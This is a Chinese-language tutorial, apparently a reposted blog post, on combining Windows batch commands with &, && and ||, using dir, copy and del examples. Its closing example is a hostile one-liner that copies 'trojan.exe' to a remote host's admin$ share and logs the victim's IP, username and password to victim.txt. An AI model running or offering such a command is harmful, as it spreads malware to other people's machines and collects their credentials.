批處理中 使用組合命令

如何使用組合命令(Compound Command)
1.&
格式:第一條命令 & 第二條命令 [& 第三條命令...]   用這種方法可以同時執行多條命令,而不管命令是否執行成功,例:
C:/>dir z: & dir c:/Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FBDirectory of c:/Ex4rch
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif
 
2.&&
格式:第一條命令 && 第二條命令 [&& 第三條命令...]  用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;例:
C:/>dir z: && dir c:/Ex4rch
The system cannot find the path specified.C:/>dir c:/Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:/Ex4rch
2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做備份的時候可能會用到這種命令會比較簡單,如:
dir file&#58//192.168.0.1/database/backup.mdb && copy file&#58//192.168.0.1/database/backup.mdb E:/backup
如果遠程服務器上存在backup.mdb文件,就執行copy命令,若不存在該文件則不執行copy命令。這種用法可以替換IF exist了 :)
 
3.||
格式:第一條命令 || 第二條命令 [|| 第三條命令...]  用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;例:
C:/Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FBDirectory of C:/Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
組合命令使用的例子:
例:
@copy trojan.exe //%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt 
發佈了20 篇原創文章 · 獲贊 1 · 訪問量 7萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章